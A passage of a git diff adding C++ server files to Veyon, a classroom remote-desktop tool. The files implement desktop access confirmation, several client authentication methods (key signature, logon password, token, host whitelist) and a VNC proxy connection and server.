+ break; + } +} + + + +VncServerClient::AccessControlState ServerAccessControlManager::confirmDesktopAccess( VncServerClient* client ) +{ + const HostUserPair hostUserPair( client->username(), client->hostAddress() ); + + // did we save a previous choice because user chose "always" or "never"? + if( m_desktopAccessChoices.contains( hostUserPair ) ) + { + if( qAsConst(m_desktopAccessChoices)[hostUserPair] == DesktopAccessDialog::ChoiceAlways ) + { + return VncServerClient::AccessControlSuccessful; + } + + return VncServerClient::AccessControlFailed; + } + + // already an access dialog running? + if( m_desktopAccessDialog.isBusy( &m_featureWorkerManager ) ) + { + // then close connection so that client has to try again later + return VncServerClient::AccessControlWaiting; + } + + // get notified whenever the dialog finishes - use signal indirection for + // automatically breaking connection if VncServerClient gets deleted while + // dialog is active (e.g. due another connection being closed and thus + // all other connections are closed as well in order to perform access + // control again) + connect( &m_desktopAccessDialog, &DesktopAccessDialog::finished, + client, &VncServerClient::finishAccessControl ); + + connect( client, &VncServerClient::accessControlFinished, + this, &ServerAccessControlManager::finishDesktopAccessConfirmation ); + + // start the dialog (non-blocking) + m_desktopAccessDialog.exec( &m_featureWorkerManager, client->username(), client->hostAddress() ); + + return VncServerClient::AccessControlPending; +} + + + +void ServerAccessControlManager::finishDesktopAccessConfirmation( VncServerClient* client ) +{ + // break helper connections for asynchronous desktop access control operations + if( m_desktopAccessDialog.disconnect( client ) == false || + client->disconnect( this ) == false ) + { + qCritical() << Q_FUNC_INFO << "could not break object connections"; + } + + const auto choice = m_desktopAccessDialog.choice(); + + // remember choices "always" and "never" + if( choice == DesktopAccessDialog::ChoiceAlways || choice == DesktopAccessDialog::ChoiceNever ) + { + m_desktopAccessChoices[HostUserPair( client->username(), client->hostAddress() )] = choice; + } + + // evaluate choice and set according access control state + if( choice == DesktopAccessDialog::ChoiceYes || choice == DesktopAccessDialog::ChoiceAlways ) + { + client->setAccessControlState( VncServerClient::AccessControlSuccessful ); + m_clients.append( client ); + } + else + { + client->setAccessControlState( VncServerClient::AccessControlFailed ); + client->setProtocolState( VncServerProtocol::Close ); + } +} + + + +QStringList ServerAccessControlManager::connectedUsers() const +{ + QStringList users; + + users.reserve( m_clients.size() ); + + for( auto client : m_clients ) + { + users += client->username(); + } + + return users; +} diff --git a/server/src/ServerAccessControlManager.h b/server/src/ServerAccessControlManager.h new file mode 100644 index 0000000..ad08cd9 --- /dev/null +++ b/server/src/ServerAccessControlManager.h @@ -0,0 +1,72 @@ +/* + * ServerAccessControlManager.h - header file for ServerAccessControlManager + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef SERVER_ACCESS_CONTROL_MANAGER_H +#define SERVER_ACCESS_CONTROL_MANAGER_H + +#include "DesktopAccessDialog.h" +#include "RfbVeyonAuth.h" +#include "VncServerClient.h" + +class VariantArrayMessage; + +class ServerAccessControlManager : public QObject +{ + Q_OBJECT +public: + ServerAccessControlManager( FeatureWorkerManager& featureWorkerManager, + DesktopAccessDialog& desktopAccessDialog, + QObject* parent ); + + void addClient( VncServerClient* client ); + void removeClient( VncServerClient* client ); + + +signals: + void accessControlError( const QString& host, const QString& user ); + +private: + enum { + ClientWaitInterval = 1000 + }; + + void performAccessControl( VncServerClient* client ); + VncServerClient::AccessControlState confirmDesktopAccess( VncServerClient* client ); + void finishDesktopAccessConfirmation( VncServerClient* client ); + + QStringList connectedUsers() const; + + FeatureWorkerManager& m_featureWorkerManager; + DesktopAccessDialog& m_desktopAccessDialog; + + VncServerClientList m_clients; + + typedef QPair HostUserPair; + typedef QMap DesktopAccessChoiceMap; + + DesktopAccessChoiceMap m_desktopAccessChoices; + +} ; + +#endif diff --git a/server/src/ServerAuthenticationManager.cpp b/server/src/ServerAuthenticationManager.cpp new file mode 100644 index 0000000..946a1cc --- /dev/null +++ b/server/src/ServerAuthenticationManager.cpp @@ -0,0 +1,302 @@ +/* + * ServerAuthenticationManager.cpp - implementation of ServerAuthenticationManager + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "AuthenticationCredentials.h" +#include "ServerAuthenticationManager.h" +#include "CryptoCore.h" +#include "Filesystem.h" +#include "PlatformUserFunctions.h" +#include "VariantArrayMessage.h" +#include "VeyonConfiguration.h" + + +ServerAuthenticationManager::ServerAuthenticationManager( QObject* parent ) : + QObject( parent ), + m_allowedIPs(), + m_failedAuthHosts() +{ + + +} + + + +QVector ServerAuthenticationManager::supportedAuthTypes() const +{ + QVector authTypes; + + authTypes.append( RfbVeyonAuth::HostWhiteList ); + + if( VeyonCore::config().authenticationMethod() == VeyonCore::KeyFileAuthentication ) + { + authTypes.append( RfbVeyonAuth::KeyFile ); + } + + if( VeyonCore::config().authenticationMethod() == VeyonCore::LogonAuthentication ) + { + authTypes.append( RfbVeyonAuth::Logon ); + } + + if( VeyonCore::authenticationCredentials().hasCredentials( AuthenticationCredentials::Token ) ) + { + authTypes.append( RfbVeyonAuth::Token ); + } + + return authTypes; +} + + + +void ServerAuthenticationManager::processAuthenticationMessage( VncServerClient* client, + VariantArrayMessage& message ) +{ + qDebug() << "ServerAuthenticationManager::processAuthenticationMessage():" + << "state" << client->authState() + << "type" << client->authType() + << "host" << client->hostAddress() + << "user" << client->username(); + + switch( client->authType() ) + { + // no authentication + case RfbVeyonAuth::None: + client->setAuthState( VncServerClient::AuthFinishedSuccess ); + break; + + // host has to be in list of allowed hosts + case RfbVeyonAuth::HostWhiteList: + client->setAuthState( performHostWhitelistAuth( client, message ) ); + break; + + // authentication via DSA-challenge/-response + case RfbVeyonAuth::KeyFile: + client->setAuthState( performKeyAuthentication( client, message ) ); + break; + + case RfbVeyonAuth::Logon: + client->setAuthState( performLogonAuthentication( client, message ) ); + break; + + case RfbVeyonAuth::Token: + client->setAuthState( performTokenAuthentication( client, message ) ); + break; + + default: + break; + } + + switch( client->authState() ) + { + case VncServerClient::AuthFinishedSuccess: + emit authenticationDone( AuthResultSuccessful, client->hostAddress(), client->username() ); + break; + case VncServerClient::AuthFinishedFail: + emit authenticationDone( AuthResultFailed, client->hostAddress(), client->username() ); + break; + default: + break; + } +} + + + +void ServerAuthenticationManager::setAllowedIPs(const QStringList &allowedIPs) +{ + QMutexLocker l( &m_dataMutex ); + m_allowedIPs = allowedIPs; +} + + + +VncServerClient::AuthState ServerAuthenticationManager::performKeyAuthentication( VncServerClient* client, + VariantArrayMessage& message ) +{ + switch( client->authState() ) + { + case VncServerClient::AuthInit: + client->setChallenge( CryptoCore::generateChallenge() ); + if( VariantArrayMessage( message.ioDevice() ).write( client->challenge() ).send() == false ) + { + qWarning( "ServerAuthenticationManager::performKeyAuthentication(): failed to send challenge" ); + return VncServerClient::AuthFinishedFail; + } + return VncServerClient::AuthChallenge; + + case VncServerClient::AuthChallenge: + { + // get authentication key name + const auto authKeyName = message.read().toString(); // Flawfinder: ignore + + if( VeyonCore::isAuthenticationKeyNameValid( authKeyName ) == false ) + { + qDebug( "ServerAuthenticationManager::performKeyAuthentication(): invalid auth key name!" ); + return VncServerClient::AuthFinishedFail; + } + + // now try to verify received signed data using public key of the user + // under which the client claims to run + const auto signature = message.read().toByteArray(); // Flawfinder: ignore + + const auto publicKeyPath = VeyonCore::filesystem().publicKeyPath( authKeyName ); + + qDebug() << "ServerAuthenticationManager: loading public key" << publicKeyPath; + CryptoCore::PublicKey publicKey( publicKeyPath ); + + if( publicKey.isNull() || publicKey.isPublic() == false || + publicKey.verifyMessage( client->challenge(), signature, CryptoCore::DefaultSignatureAlgorithm ) == false ) + { + qWarning( "ServerAuthenticationManager::performKeyAuthentication(): FAIL" ); + return VncServerClient::AuthFinishedFail; + } + + qDebug( "ServerAuthenticationManager::performKeyAuthentication(): SUCCESS" ); + return VncServerClient::AuthFinishedSuccess; + } + + default: + break; + } + + return VncServerClient::AuthFinishedFail; +} + + + +VncServerClient::AuthState ServerAuthenticationManager::performLogonAuthentication( VncServerClient* client, + VariantArrayMessage& message ) +{ + switch( client->authState() ) + { + case VncServerClient::AuthInit: + { + CryptoCore::PrivateKey privateKey = CryptoCore::KeyGenerator().createRSA( CryptoCore::RsaKeySize ); + + client->setPrivateKey( privateKey.toPEM() ); + + CryptoCore::PublicKey publicKey = privateKey.toPublicKey(); + + if( VariantArrayMessage( message.ioDevice() ).write( publicKey.toPEM() ).send() ) + { + return VncServerClient::AuthPassword; + } + + qDebug( "ServerAuthenticationManager::performLogonAuthentication(): failed to send public key" ); + return VncServerClient::AuthFinishedFail; + } + + case VncServerClient::AuthPassword: + { + CryptoCore::PrivateKey privateKey = CryptoCore::PrivateKey::fromPEM( client->privateKey() ); + + CryptoCore::SecureArray encryptedPassword( message.read().toByteArray() ); // Flawfinder: ignore + + CryptoCore::SecureArray decryptedPassword; + + if( privateKey.decrypt( encryptedPassword, + &decryptedPassword, + CryptoCore::DefaultEncryptionAlgorithm ) == false ) + { + qWarning( "ServerAuthenticationManager::performLogonAuthentication(): failed to decrypt password" ); + return VncServerClient::AuthFinishedFail; + } + + qInfo() << "ServerAuthenticationManager::performLogonAuthentication(): authenticating user" << client->username(); + + if( VeyonCore::platform().userFunctions().authenticate( client->username(), + QString::fromUtf8( decryptedPassword.toByteArray() ) ) ) + { + qDebug( "ServerAuthenticationManager::performLogonAuthentication(): SUCCESS" ); + return VncServerClient::AuthFinishedSuccess; + } + + qDebug( "ServerAuthenticationManager::performLogonAuthentication(): FAIL" ); + return VncServerClient::AuthFinishedFail; + } + + default: + break; + } + + return VncServerClient::AuthFinishedFail; +} + + +VncServerClient::AuthState ServerAuthenticationManager::performHostWhitelistAuth( VncServerClient* client, + VariantArrayMessage& message ) +{ + Q_UNUSED(message) + + QMutexLocker l( &m_dataMutex ); + + if( m_allowedIPs.isEmpty() ) + { + qWarning( "ServerAuthenticationManager: empty list of allowed IPs" ); + return VncServerClient::AuthFinishedFail; + } + + if( m_allowedIPs.contains( client->hostAddress() ) ) + { + qDebug( "ServerAuthenticationManager::performHostWhitelistAuth(): SUCCESS" ); + return VncServerClient::AuthFinishedSuccess; + } + + qWarning( "ServerAuthenticationManager::performHostWhitelistAuth(): FAIL" ); + + // authentication failed + return VncServerClient::AuthFinishedFail; +} + + + +VncServerClient::AuthState ServerAuthenticationManager::performTokenAuthentication( VncServerClient* client, + VariantArrayMessage& message ) +{ + switch( client->authState() ) + { + case VncServerClient::AuthInit: + return VncServerClient::AuthToken; + + case VncServerClient::AuthToken: + { + const auto token = message.read().toString(); // Flawfinder: ignore + + if( VeyonCore::authenticationCredentials().hasCredentials( AuthenticationCredentials::Token ) && + token == VeyonCore::authenticationCredentials().token() ) + { + qDebug( "ServerAuthenticationManager::performTokenAuthentication(): SUCCESS" ); + return VncServerClient::AuthFinishedSuccess; + } + + qDebug( "ServerAuthenticationManager::performTokenAuthentication(): FAIL" ); + return VncServerClient::AuthFinishedFail; + } + + default: + break; + } + + return VncServerClient::AuthFinishedFail; +} diff --git a/server/src/ServerAuthenticationManager.h b/server/src/ServerAuthenticationManager.h new file mode 100644 index 0000000..a82aad7 --- /dev/null +++ b/server/src/ServerAuthenticationManager.h @@ -0,0 +1,72 @@ +/* + * ServerAuthenticationManager.h - header file for ServerAuthenticationManager + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef SERVER_AUTHENTICATION_MANAGER_H +#define SERVER_AUTHENTICATION_MANAGER_H + +#include +#include + +#include "RfbVeyonAuth.h" +#include "VncServerClient.h" + +class VariantArrayMessage; + +class ServerAuthenticationManager : public QObject +{ + Q_OBJECT +public: + typedef enum AuthResults { + AuthResultSuccessful, + AuthResultFailed, + AuthResultCount + } AuthResult; + + ServerAuthenticationManager( QObject* parent ); + + QVector supportedAuthTypes() const; + + void processAuthenticationMessage( VncServerClient* client, + VariantArrayMessage& message ); + + void setAllowedIPs( const QStringList &allowedIPs ); + + +signals: + void authenticationDone( AuthResult result, const QString& host, const QString& user ); + +private: + VncServerClient::AuthState performKeyAuthentication( VncServerClient* client, VariantArrayMessage& message ); + VncServerClient::AuthState performLogonAuthentication( VncServerClient* client, VariantArrayMessage& message ); + VncServerClient::AuthState performHostWhitelistAuth( VncServerClient* client, VariantArrayMessage& message ); + VncServerClient::AuthState performTokenAuthentication( VncServerClient* client, VariantArrayMessage& message ); + + QMutex m_dataMutex; + QStringList m_allowedIPs; + + QStringList m_failedAuthHosts; + +} ; + +#endif diff --git a/server/src/VeyonServerProtocol.cpp b/server/src/VeyonServerProtocol.cpp new file mode 100644 index 0000000..421e5c4 --- /dev/null +++ b/server/src/VeyonServerProtocol.cpp @@ -0,0 +1,74 @@ +/* + * VeyonServerProtocol.cpp - implementation of the VeyonServerProtocol class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "AuthenticationCredentials.h" +#include "ServerAuthenticationManager.h" +#include "ServerAccessControlManager.h" +#include "VariantArrayMessage.h" +#include "VncServerClient.h" +#include "VeyonServerProtocol.h" + +#include "rfb/rfbproto.h" + + +VeyonServerProtocol::VeyonServerProtocol( QTcpSocket* socket, + VncServerClient* client, + ServerAuthenticationManager& serverAuthenticationManager, + ServerAccessControlManager& serverAccessControlManager ) : + VncServerProtocol( socket, client ), + m_serverAuthenticationManager( serverAuthenticationManager ), + m_serverAccessControlManager( serverAccessControlManager ) +{ +} + + + +QVector VeyonServerProtocol::supportedAuthTypes() const +{ + return m_serverAuthenticationManager.supportedAuthTypes(); +} + + + +void VeyonServerProtocol::processAuthenticationMessage(VariantArrayMessage &message) +{ + m_serverAuthenticationManager.processAuthenticationMessage( client(), message ); +} + + + +void VeyonServerProtocol::performAccessControl() +{ + // perform access control via ServerAccessControl manager if either + // client just entered access control or is still waiting to be + // processed (e.g. desktop access dialog already active for a different connection) + if( client()->accessControlState() == VncServerClient::AccessControlInit || + client()->accessControlState() == VncServerClient::AccessControlWaiting ) + { + m_serverAccessControlManager.addClient( client() ); + } +} diff --git a/server/src/VeyonServerProtocol.h b/server/src/VeyonServerProtocol.h new file mode 100644 index 0000000..36c3f0c --- /dev/null +++ b/server/src/VeyonServerProtocol.h @@ -0,0 +1,54 @@ +/* + * VeyonServerProtocol.h - header file for the VeyonServerProtocol class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VEYON_SERVER_PROTOCOL_H +#define VEYON_SERVER_PROTOCOL_H + +#include "VncServerProtocol.h" + +class ServerAuthenticationManager; +class ServerAccessControlManager; + +// clazy:excludeall=copyable-polymorphic + +class VeyonServerProtocol : public VncServerProtocol +{ +public: + VeyonServerProtocol( QTcpSocket* socket, + VncServerClient* client, + ServerAuthenticationManager& serverAuthenticationManager, + ServerAccessControlManager& serverAccessControlManager ); + +protected: + QVector supportedAuthTypes() const override; + void processAuthenticationMessage( VariantArrayMessage& message ) override; + void performAccessControl() override; + +private: + ServerAuthenticationManager& m_serverAuthenticationManager; + ServerAccessControlManager& m_serverAccessControlManager; + +} ; + +#endif diff --git a/server/src/VncProxyConnection.cpp b/server/src/VncProxyConnection.cpp new file mode 100644 index 0000000..3194c2c --- /dev/null +++ b/server/src/VncProxyConnection.cpp @@ -0,0 +1,236 @@ +/* + * VncProxyConnection.cpp - class representing a connection within VncProxyServer + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include + +#include "VncClientProtocol.h" +#include "VncProxyConnection.h" +#include "VncServerProtocol.h" + +VncProxyConnection::VncProxyConnection( QTcpSocket* clientSocket, + int vncServerPort, + QObject* parent ) : + QObject( parent ), + m_proxyClientSocket( clientSocket ), + m_vncServerSocket( new QTcpSocket( this ) ), + m_rfbClientToServerMessageSizes( { + std::pair( rfbSetPixelFormat, sz_rfbSetPixelFormatMsg ), + std::pair( rfbFramebufferUpdateRequest, sz_rfbFramebufferUpdateRequestMsg ), + std::pair( rfbKeyEvent, sz_rfbKeyEventMsg ), + std::pair( rfbPointerEvent, sz_rfbPointerEventMsg ), + std::pair( rfbXvp, sz_rfbXvpMsg ), + } ) +{ + connect( m_proxyClientSocket, &QTcpSocket::readyRead, this, &VncProxyConnection::readFromClient ); + connect( m_vncServerSocket, &QTcpSocket::readyRead, this, &VncProxyConnection::readFromServer ); + + connect( m_vncServerSocket, &QTcpSocket::disconnected, this, &VncProxyConnection::clientConnectionClosed ); + connect( m_proxyClientSocket, &QTcpSocket::disconnected, this, &VncProxyConnection::serverConnectionClosed ); + + m_vncServerSocket->connectToHost( QHostAddress::LocalHost, vncServerPort ); +} + + + +VncProxyConnection::~VncProxyConnection() +{ + // do not get notified about disconnects any longer + disconnect( m_vncServerSocket ); + disconnect( m_proxyClientSocket ); + + delete m_vncServerSocket; + delete m_proxyClientSocket; +} + + + +void VncProxyConnection::readFromClient() +{ + if( serverProtocol().state() != VncServerProtocol::Running ) + { + while( serverProtocol().read() ) // Flawfinder: ignore + { + } + + // try again later in case we could not proceed because of + // external protocol dependencies or in case we're finished + // and already have RFB messages in receive queue + readFromClientLater(); + } + else if( clientProtocol().state() == VncClientProtocol::Running ) + { + while( receiveClientMessage() ) + { + } + } + else + { + // try again as client connection is not yet ready and we can't forward data + readFromClientLater(); + } +} + + + +void VncProxyConnection::readFromServer() +{ + if( clientProtocol().state() != VncClientProtocol::Running ) + { + while( clientProtocol().read() ) // Flawfinder: ignore + { + } + + // did we finish client protocol initialization? then we must not miss this + // read signaĺ from server but process it as the server is still waiting + // for our response + if( clientProtocol().state() == VncClientProtocol::Running ) + { + // if client protocol is running we have the server init message which + // we can forward to the real client + serverProtocol().setServerInitMessage( clientProtocol().serverInitMessage() ); + + readFromServerLater(); + } + } + else if( serverProtocol().state() == VncServerProtocol::Running ) + { + while( receiveServerMessage() ) + { + } + } + else + { + // try again as server connection is not yet ready and we can't forward data + readFromServerLater(); + } +} + + + +bool VncProxyConnection::forwardDataToClient( qint64 size ) +{ + if( m_vncServerSocket->bytesAvailable() >= size ) + { + const auto data = m_vncServerSocket->read( size ); // Flawfinder: ignore + if( data.size() == size ) + { + return m_proxyClientSocket->write( data ) == size; + } + } + + return false; +} + + + +bool VncProxyConnection::forwardDataToServer( qint64 size ) +{ + if( m_proxyClientSocket->bytesAvailable() >= size ) + { + const auto data = m_proxyClientSocket->read( size ); // Flawfinder: ignore + if( data.size() == size ) + { + return m_vncServerSocket->write( data ) == size; + } + } + + return false; +} + + + +void VncProxyConnection::readFromServerLater() +{ + QTimer::singleShot( ProtocolRetryTime, this, &VncProxyConnection::readFromServer ); +} + + + +void VncProxyConnection::readFromClientLater() +{ + QTimer::singleShot( ProtocolRetryTime, this, &VncProxyConnection::readFromClient ); +} + + + +bool VncProxyConnection::receiveClientMessage() +{ + auto socket = proxyClientSocket(); + + uint8_t messageType = 0; + if( socket->peek( (char *) &messageType, sizeof(messageType) ) != sizeof(messageType) ) + { + return false; + } + + switch( messageType ) + { + case rfbSetEncodings: + if( socket->bytesAvailable() >= sz_rfbSetEncodingsMsg ) + { + rfbSetEncodingsMsg setEncodingsMessage; + if( socket->peek( (char *) &setEncodingsMessage, sz_rfbSetEncodingsMsg ) == sz_rfbSetEncodingsMsg ) + { + const auto nEncodings = qFromBigEndian(setEncodingsMessage.nEncodings); + if( nEncodings > MAX_ENCODINGS ) + { + qCritical( "VncProxyConnection::receiveClientMessage(): received too many encodings from client" ); + socket->close(); + return false; + } + return forwardDataToServer( sz_rfbSetEncodingsMsg + nEncodings * sizeof(uint32_t) ); + } + } + break; + + default: + if( m_rfbClientToServerMessageSizes.contains( messageType ) == false ) + { + qCritical( "VncProxyConnection::receiveClientMessage(): received unknown message type: %d", (int) messageType ); + socket->close(); + return false; + } + + return forwardDataToServer( m_rfbClientToServerMessageSizes[messageType] ); + } + + return false; +} + + + +bool VncProxyConnection::receiveServerMessage() +{ + if( clientProtocol().receiveMessage() ) + { + m_proxyClientSocket->write( clientProtocol().lastMessage() ); + + return true; + } + + return false; +} diff --git a/server/src/VncProxyConnection.h b/server/src/VncProxyConnection.h new file mode 100644 index 0000000..cc280cc --- /dev/null +++ b/server/src/VncProxyConnection.h @@ -0,0 +1,86 @@ +/* + * VncProxyConnection.h - class representing a connection within VncProxyServer + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VNC_PROXY_CONNECTION_H +#define VNC_PROXY_CONNECTION_H + +#include "VeyonCore.h" + +class QBuffer; +class QTcpSocket; + +class VncClientProtocol; +class VncServerProtocol; + +class VncProxyConnection : public QObject +{ + Q_OBJECT +public: + enum { + ProtocolRetryTime = 250 + }; + + VncProxyConnection( QTcpSocket* clientSocket, int vncServerPort, QObject* parent ); + ~VncProxyConnection() override; + + QTcpSocket* proxyClientSocket() + { + return m_proxyClientSocket; + } + + QTcpSocket* vncServerSocket() + { + return m_vncServerSocket; + } + +protected slots: + void readFromClient(); + void readFromServer(); + +protected: + bool forwardDataToClient( qint64 size ); + bool forwardDataToServer( qint64 size ); + + void readFromServerLater(); + void readFromClientLater(); + + virtual bool receiveClientMessage(); + virtual bool receiveServerMessage(); + + virtual VncClientProtocol& clientProtocol() = 0; + virtual VncServerProtocol& serverProtocol() = 0; + +private: + QTcpSocket* m_proxyClientSocket; + QTcpSocket* m_vncServerSocket; + + const QMap m_rfbClientToServerMessageSizes; + +signals: + void clientConnectionClosed(); + void serverConnectionClosed(); + +} ; + +#endif diff --git a/server/src/VncProxyConnectionFactory.h b/server/src/VncProxyConnectionFactory.h new file mode 100644 index 0000000..c242418 --- /dev/null +++ b/server/src/VncProxyConnectionFactory.h @@ -0,0 +1,44 @@ +/* + * VncProxyConnectionFactory.h - abstract factory class for VncProxyConnectionFactory objects + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VNC_PROXY_CONNECTION_FACTORY_H +#define VNC_PROXY_CONNECTION_FACTORY_H + +class QObject; +class QTcpSocket; +class VncProxyConnection; + +// clazy:excludeall=copyable-polymorphic + +class VncProxyConnectionFactory +{ +public: + virtual VncProxyConnection* createVncProxyConnection( QTcpSocket* clientSocket, + int vncServerPort, + const QString& vncServerPassword, + QObject* parent ) = 0; + +} ; + +#endif diff --git a/server/src/VncProxyServer.cpp b/server/src/VncProxyServer.cpp new file mode 100644 index 0000000..3f44301 --- /dev/null +++ b/server/src/VncProxyServer.cpp @@ -0,0 +1,111 @@ +/* + * VncProxyServer.cpp - a VNC proxy implementation for intercepting VNC connections + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "VeyonCore.h" +#include "VncProxyServer.h" +#include "VncProxyConnection.h" +#include "VncProxyConnectionFactory.h" + + +VncProxyServer::VncProxyServer( const QHostAddress& listenAddress, + int listenPort, + VncProxyConnectionFactory* connectionFactory, + QObject* parent ) : + QObject( parent ), + m_vncServerPort( -1 ), + m_vncServerPassword(), + m_listenAddress( listenAddress ), + m_listenPort( listenPort ), + m_server( new QTcpServer( this ) ), + m_connectionFactory( connectionFactory ) +{ + connect( m_server, &QTcpServer::newConnection, this, &VncProxyServer::acceptConnection ); +} + + + +VncProxyServer::~VncProxyServer() +{ + stop(); +} + + + +bool VncProxyServer::start( int vncServerPort, const QString& vncServerPassword ) +{ + m_vncServerPort = vncServerPort; + m_vncServerPassword = vncServerPassword; + + if( m_listenPort < 0 || + m_server->listen( m_listenAddress, static_cast( m_listenPort ) ) == false ) + { + qWarning() << "VncProxyServer: could not listen on port" << m_listenPort << m_server->errorString(); + return false; + } + + qDebug( "VncProxyServer started on port %d", m_listenPort ); + return true; +} + + +void VncProxyServer::stop() +{ + for( auto connection : qAsConst( m_connections ) ) + { + delete connection; + } + + m_connections.clear(); + + delete m_server; + m_server = nullptr; +} + + + +void VncProxyServer::acceptConnection() +{ + VncProxyConnection* connection = + m_connectionFactory->createVncProxyConnection( m_server->nextPendingConnection(), + m_vncServerPort, + m_vncServerPassword, + this ); + + connect( connection, &VncProxyConnection::clientConnectionClosed, this, [=]() { closeConnection( connection ); } ); + connect( connection, &VncProxyConnection::serverConnectionClosed, this, [=]() { closeConnection( connection ); } ); + + m_connections += connection; +} + + + +void VncProxyServer::closeConnection( VncProxyConnection* connection ) +{ + m_connections.removeAll( connection ); + + connection->deleteLater(); +} diff --git a/server/src/VncProxyServer.h b/server/src/VncProxyServer.h new file mode 100644 index 0000000..3b1371e --- /dev/null +++ b/server/src/VncProxyServer.h @@ -0,0 +1,70 @@ +/* + * VncProxyServer.h - a VNC proxy implementation for intercepting VNC connections + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public 